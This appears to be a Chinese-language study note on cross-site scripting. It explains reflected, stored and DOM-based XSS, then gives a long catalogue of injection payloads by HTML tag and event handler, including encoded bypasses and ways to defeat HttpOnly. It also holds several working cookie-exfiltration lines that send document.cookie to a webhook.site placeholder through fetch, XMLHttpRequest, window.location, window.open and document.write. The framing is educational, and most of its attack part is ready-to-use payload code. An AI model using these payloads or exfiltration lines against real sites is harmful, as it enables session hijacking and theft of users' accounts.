XSS-基础篇

XSS简介:

动态站点会受到一种名为“跨站脚本攻击”(Cross Site Scripting,缩写成XSS)的威胁,恶意攻击者会在 Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。跨站脚本攻击允许恶意用户将代码注入网页,其他用户在浏览网页时会受到影响,恶意用户利用xss 代码攻击成功后,可能得到很高的权限、私密网页内容、会话和cookie等各种内容

XSS的分类:

1、反射型(非持久化)

​ (1)原理

​ 反射型xss又称非持久型xss。发出请求时,此类XSS代码出现在URL中,作为输入提交到服务器端,XSS代码被服务器端解析后传回给浏览器,后解析执行XSS代码。

​ (2)攻击方式

​ 攻击者将包含xss代码的恶意链接发送给目标用户。当其他用户访问该链接时,服务器接受该用户的URL中参数的请求并进行处理,后xss代码被服务器发送给其他用户的浏览器,触发xss漏洞

2、存储型(持久化)

​ (1)原理

​ 存储型XSS,提交的代码会存储在服务器端,其他用户请求该页面时会触发xss漏洞,无需访问攻击者的特定链接。例如:留言板中的XSS,用户提交一条包含XSS代码的留言存储到数据库,其他用户查看留言板时,那些留言就会从数据库中加载出来并显示,于是触发了XSS攻击

​ (2)攻击方式

​ 攻击者将包含xss代码的恶意链接发送给目标用户。当目标用户访问该链接时,页面进行解析后响应,最后浏览器解析执行XSS代码,触发xss漏洞

3、DOM-based型

文档对象模型(DOM)是一个网络文档的编程接口。它代表页面,以便程序可以改变文档的结构、风格和内容。DOM 将文档表示为节点和对象;这样,编程语言就可以与页面交互。

​ (1)原理

​ DOM型xss其实是一种特殊类型的反射型xss,与反射型类似此类XSS代码出现在URL中,但DOM XSS和反射型XSS的区别在于DOM XSS代码并不需要服务器参与,依靠客户端进行解析。

​ (2)攻击方式

​ 与反射型类似,当其他用户访问该链接时,当用户的浏览器处理这个响应时,DOM对象就会处理xss代码,导致存在xss漏洞

XSS代码插入位置

1.插入到HTML注释内容中

1
2
3
<!-- 
<script> alert('XSS');</script>
-->

2.插入到HTML标签的属性值中

1
<img src="image,png" onerror="<script>alert('XSS')</script>">

注:onerror属性是HTML中<img>标签的一个事件属性,它用于定义当图像加载失败时执行的JavaScript代码。

3.插入到HTML标签的属性名中

使用语句

1
><script>alert('XSS')</script>

构造闭合,可得到以下内容:

1
<input type="text" name="><script>alert('XSS')</script>">

利用构造闭合的方式将恶意代码插入到某个标签中,将恶意代码插入到了标签中的属性值中,实现XSS攻击

4.插入到HTML标签名中

1
< <script> alert('XSS') </script>img src="/1.png">

浏览器会将第一个尖括号视为整体标签名的起始符号,而第二个尖括号则是<script> 标签的起始符号,导致浏览器误以为有两个标签被嵌套在一起,从而实现XSS攻击

6.插入到CSS中

1
<div style="background-image:url('javascript:alert(`1`)');">

我们在background-image样式属性中插入了一段JavaScript url(在过去,一些浏览器可能没有严格限制这种用法,允许javascript:伪协议在CSS属性中执行JavaScript代码。),当用户打开这一个页面时,会执行弹窗,浏览器会执行我们插入的java伪协议代码,从而执行恶意代码。

7.插入到HTTP响应中

先留一个坑,还没看懂这个部分,后面再来填

运行脚本的标签以及对应属性

<a> 标签

对应属性:

href属性(手动点击)

1
<a href="javascript:alert(1)">test</a>

onfocus(获取焦点时触发XSS,如:点击)

1
<a href="x" onfocus="alert('xss');" autofocus="">xss</a>

onclick(点击时触发XSS)

1
<a href="x" onclick=eval("alert('xss');")>xss</a>

onmouseover(鼠标悬停于该元素时触发XSS)

1
<a href="x" onmouseover="alert('xss');">xss</a>

onmouseout(鼠标移出时触发XSS)。

1
<a href="x" onmouseout="alert('xss');">xss</a>

<img>标签

对应属性:

onerror(加载错误时触发XSS、将src乱输入一个值即可)

1
2
<img src=x onerror="alert(1)">
<img src=x onerror=eval("alert(1)")>

onmouseover(鼠标悬停于该元素时触发XSS)

1
<img src=1 onmouseover="alert('xss');">

onmouseout(鼠标移出时触发XSS)

1
<img src=1 onmouseout="alert('xss');">v

onclick(点击时触发XSS)。

1
<img src=1 onclick="alert('xss');">

<iframe>标签

HTML 内联框架元素 (<iframe>)

对应属性:

onload(加载完成时触发XSS)

1
2
3
<iframe onload="alert(document.cookie)"></iframe>
<iframe onload="alert('xss');"></iframe>
<iframe onload="base64,YWxlcnQoJ3hzcycpOw=="></iframe>

onmouseover(鼠标悬停于该元素时触发XSS)。

1
<iframe onmouseover="alert('xss');"></iframe>

src属性

1
2
3
<iframe src="javascript:alert(1)">test</iframe>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
//base64解码后为<script>alert('xss')</script>

<audio> 标签

<audio> 标签定义声音,比如音乐或其他音频流。

对应属性:

onerror(加载错误时触发XSS)

1
2
<audio src=1 onerror=alert(1)>
<audio><source src="x" onerror="alert('xss');"></audio>

onfocus(获取焦点时触发XSS,如:点击)

1
<audio controls onfocus=eval("alert('xss');") autofocus=""></audio>

onmouseover(鼠标悬停于该元素时触发XSS)。

1
<audio controls onmouseover="alert('xss');"><source src="x"></audio>

<video>标签

对应属性:

onerror(加载错误时触发XSS)

1
2
<video src=x onerror=alert(1)>
<video><source onerror="alert('xss');"></video>

onmouseover(鼠标悬停于该元素时触发XSS)

1
<video controls onmouseover="alert('xss');"></video>

onfocus(获取焦点时触发XSS,如:点击)

1
<video controls onfocus="alert('xss');" autofocus=""></video>

onclick(点击时触发XSS)。

1
<video controls onclick="alert('xss');"></video>

<svg> 标签

对应属性:

onload(加载完成时触发XSS)

1
2
<svg onload=javascript:alert(1)>
<svg onload="alert('xss');"></svg>

<button> 标签

对应属性:

onclick(点击时触发XSS)

1
2
<button onclick=alert(1)>
<button onclick="alert('xss');">xss</button>

onfocus(获取焦点时触发XSS,如:点击)

1
<button onfocus="alert('xss');" autofocus="">xss</button>

onmouseover(鼠标悬停于该元素时触发XSS)

1
<button onmouseover="alert('xss');">xss</button>

onmouseout(鼠标移出时触发XSS)

1
<button onmouseout="alert('xss');">xss</button>

onmouseup(鼠标按钮释放时触发XSS)

1
<button onmouseup="alert('xss');">xss</button>

onmousedown(鼠标按钮按下时触发XSS)。

1
<button onmousedown="alert('xss');"></button>

<div>标签

对应属性:

onmouseover(鼠标悬停于该元素时触发XSS)

这个需要借助url编码来实现绕过

1
2
3
4
原代码:
<div onmouseover='alert(1)'>DIV</div>
经过url编码:
<div onmouseover%3d'alert%26lpar%3b1%26rpar%3b'>DIV<%2fdiv>

<object>标签

这个需要借助 data 伪协议和 base64 编码来实现绕过

1
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></object>

<script> 标签

1
2
3
<script>alert('xss')</script>
<script>alert(/xss/)</script>
<script>alert(123)</script>

<p> 标签

对应属性:

onclick(点击时触发XSS)

1
<p onclick="alert('xss');">xss</p>

onmouseover(鼠标悬停于该元素时触发XSS)

1
<p onmouseover="alert('xss');">xss</p>

onmouseout(鼠标移出时触发XSS)

1
<p onmouseout="alert('xss');">xss</p>

onmouseup(鼠标按钮释放时触发XSS)。

1
<p onmouseup="alert('xss');">xss</p>

<input> 标签

对应属性:

onclick(点击时触发XSS)

1
<input onclick="alert('xss');">

onfocus(获取焦点时触发XSS,如:点击)

1
2
<input onfocus="alert('xss');">
<input onfocus="alert('xss');" autofocus="">

onmouseover(鼠标悬停于该元素时触发XSS)

1
<input onmouseover="alert('xss');">

onkeydown(键盘按键按下时触发XSS)。

1
2
<input type="text" onkeydown="alert('xss');"></input>
<input type="text" onkeydown="alert('xss');"></input>

onkeydown(在键盘按键按下并释放一个键时触发XSS)。

1
<input type="text" onkeypress="alert('xss');"></input>

<details>标签

对应属性:

ontoggle(切换时触发XSS,如:详情元素展开或收起)。

1
2
<details ontoggle="alert('xss');"></details>
<details ontoggle="alert('xss');" open=""></details>

<select> 标签

对应属性:

onfocus(获取焦点时触发XSS,如:点击)

1
<select onfocus="alert('xss');" autofocus></select>

onmouseover(鼠标悬停于该元素时触发XSS)

1
<select onmouseover="alert('xss');"></select>

onclick(点击时触发XSS)。

1
<select onclick=eval("alert('xss');")></select>

<form> 标签

对应属性:

onmouseover(鼠标悬停于该元素时触发XSS)

1
<form method="x" action="x" onmouseover="alert('xss');"><input type=submit></form>

onmouseout(鼠标移出时触发XSS)

1
<form method="x" action="x" onmouseout="alert('xss');"><input type=submit></form>

onmouseup(鼠标按钮释放时触发XSS)。

1
<form method="x" action="x" onmouseup="alert('xss');"><input type=submit></form>

action(提交表单时触发)

1
<form action=javascript:alert(1)><input type=submit></form>

<body> 标签

对应属性:

onload(加载完成时触发XSS)

1
<body onload="alert('xss');"></body>

外带COOKIE

获取cookie

未设置为HttpOnly

可获得所有的 Cookie,每条 cookie分号和空格 分隔 (即, key=value 键值对)。例如:

1
uid=a378eb5d1c4e12d492e63273f7b68c01%40devS; language=zh; _gat=1

设置为HttpOnly

HttpOnly是包含在Set-Cookie HTTP响应头文件中的附加标志。生成cookie时使用HttpOnly标志有助于降低客户端脚本访问受保护cookie的风险(如果浏览器支持)。

即如果某一个Cookie 选项被设置成 HttpOnly = true 的话,那此Cookie 只能通过服务器端修改,Js 是操作不了的,此时document.cookie 无效。

方法一:cookie回显页面

利用服务器中的cookie回显页面,如:PHPinfo页面

条件:有相关请求页面可以回显出cookie

参考链接How to bypass the HttpOnly flag via the PHP info page to exfiltrate the user cookies during an XSS exploitation

方法二:TRACE HTTP

HTTP定义了8种标准的请求方法,包括GETPOSTPUTDELETEHEADOPTIONSTRACECONNECT。其中TRACE用于回显服务器收到的请求。

条件:服务器支持TRACE方式请求

:现代浏览器不允许从 JS 发送 TRACE 请求,从而避免了这种技术。但是,在特定软件中发现了一些绕过此方法的方法,例如发送 \r\nTRACE 而不是 TRACE 发送到 IE6.0 SP2。

参考链接Cookie Jar OverflowCookie Jar Overflow Attack

方法四:表单劫持

XSS能插入在登录表单页面,能直接获取登录的账号密码,使用账号密码登录

方法五:浏览器漏洞、中间件漏洞

例如:Apache服务器漏洞 CVE-2012-0053

影响版本:2.2.0-2.2.21

攻击者可通过向网站植人超大的Cookie,令其HTTP头超过Apache的LititRequestFieldSize (最大请求长度,4192字节),使得Apache返回400错误,状态页中包含了HttpOnly 保护的Cookie。

带出cookie

fetch()方法

全局的 fetch() 方法用于发起获取资源的请求。它返回一个 promise,这个 promise 会在请求响应后被 resolve,并传回 Response对象。例如:

1
fetch('//webhook.site/xxxxxxxx/?cookie='+document.cookie)

详细参考:fetch() - Web API 接口参考 | MDN (mozilla.org)

XMLHttpRequest 对象

利用 XMLHttpRequest 对象发送 HTTP 请求,将 Cookie 数据发送到攻击者的服务器:

1
<script>var xhr = new XMLHttpRequest(); xhr.open("GET", "//webhook.site/xxxxxxxx/?cookie="+document.cookie, true); xhr.send();</script>

详细参考:XMLHttpRequest - Web API 接口参考 | MDN (mozilla.org)

window.location 对象

window.location 可以把浏览器重定向到新的页面,此时可通过url携带cookie;使用方法例如:

1
<script>window.location="//webhook.site/xxxxxxxx/?cookie="+document.cookie;</script>

下面是window.location 对象中可用于跳转的方法

  1. window.location.href
1
window.location.href = "//webhook.site/xxxxxxxx/?cookie="+document.cookie;
  1. window.location.assign(url)
1
window.location.assign("//webhook.site/xxxxxxxx/?cookie="+document.cookie);
  1. window.location.replace(url)
1
window.location.replace("//webhook.site/xxxxxxxx/?cookie="+document.cookie);

window.open方法

window.open() 是 JavaScript 中用于打开新窗口或新标签页的方法。它接受一个 URL 作为参数,返回一个新的浏览器窗口对象或者选项卡对象。

例如,以下代码将会在新窗口或新标签页中打开指定 URL:

1
window.open("//webhook.site/xxxxxxxx/?cookie="+document.cookie);

document.write方法

利用 document.write 写入某些含有src属性的标签,并将Cookie拼接到目标URL中,作为参数发送到指定的 IP 地址和端口

1
<script>document.write(`<img src="//webhook.site/xxxxxxxx/?cookie=${document.cookie}" >`)</script>
1
<script>document.write('<img src="//webhook.site/xxxxxxxx/?cookie='+document.cookie+'"/>')</script>
附:带src属性的标签
  1. **<img>**:

    1
    <img src="image.jpg" alt="示例图片">
  2. **<script>**:

    1
    <script src="script.js"></script>
  3. **<iframe>**:

    1
    <iframe src="page.html"></iframe>
  4. <video> 和 **<audio>**:

    1
    <video src="video.mp4" controls></video>
    1
    <audio src="audio.mp3" controls></audio>
  5. <embed> 和 **<object>**:

    1
    <embed src="file.pdf" type="application/pdf">
    1
    <object data="file.swf" type="application/x-shockwave-flash"></object>

更多正在学习中…..

施工中

jquery-ajax

iCeServer

Superagent

socket

axios

  1. jQuery AJAX

首先确保你的项目中已经包含了jQuery。如果没有,你可以通过添加以下标签来引入:

html

1
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.6.0/jquery.min.js"></script>

发送请求的示例代码:

javascript

1
2
3
4
5
6
7
8
9
10
$.ajax({
url: 'YOUR_ENDPOINT_HERE',
method: 'GET', // 或者 'POST', 'PUT', 'DELETE', 等。
success: function(data) {
console.log(data);
},
error: function(error) {
console.error('Request Failed:', error);
}
});
  1. Axios

Axios不是原生支持的,需要引入。你可以通过CDN添加Axios:

html

1
<script src="https://cdn.jsdelivr.net/npm/axios/dist/axios.min.js"></script>

使用Axios发送请求:

javascript

1
2
3
4
5
6
7
axios.get('YOUR_ENDPOINT_HERE')
.then(function (response) {
console.log(response.data);
})
.catch(function (error) {
console.error('Request Failed:', error);
});
  1. Superagent

Superagent也需要引入。通过CDN添加Superagent:

html

1
<script src="https://cdnjs.cloudflare.com/ajax/libs/superagent/6.1.0/superagent.min.js"></script>

使用Superagent发送请求:

javascript

1
2
3
4
5
6
superagent
.get('YOUR_ENDPOINT_HERE')
.end((err, res) => {
if (err) { return console.error('Request Failed:', err); }
console.log(res.body);
});
  1. WebSocket

WebSocket是HTML5的一部分,不需要额外引入。但WebSocket用于实现双向通信,不同于常规的HTTP请求。以下是一个简单的WebSocket示例:

javascript

1
2
3
4
5
6
7
8
9
var socket = new WebSocket('wss://YOUR_WEBSOCKET_ENDPOINT_HERE');

socket.onopen = function(event) {
socket.send('Hello Server!'); // 发送数据到服务器
};

socket.onmessage = function(event) {
console.log('Message from server ', event.data);
};
  1. Fetch API

Fetch API是现代浏览器原生支持的,不需要引入任何额外的库:

javascript

1
2
3
4
fetch('YOUR_ENDPOINT_HERE')
.then(response => response.json()) // 假设服务器返回的是JSON数据
.then(data => console.log(data))
.catch(error => console.error('Request Failed:', error));

请替换 'YOUR_ENDPOINT_HERE''wss://YOUR_WEBSOCKET_ENDPOINT_HERE' 为你实际的请求URL或WebSocket端点。每种方法都有其特定的使用场景和优势,选择合适的根据你的项目需求而定。

参考文章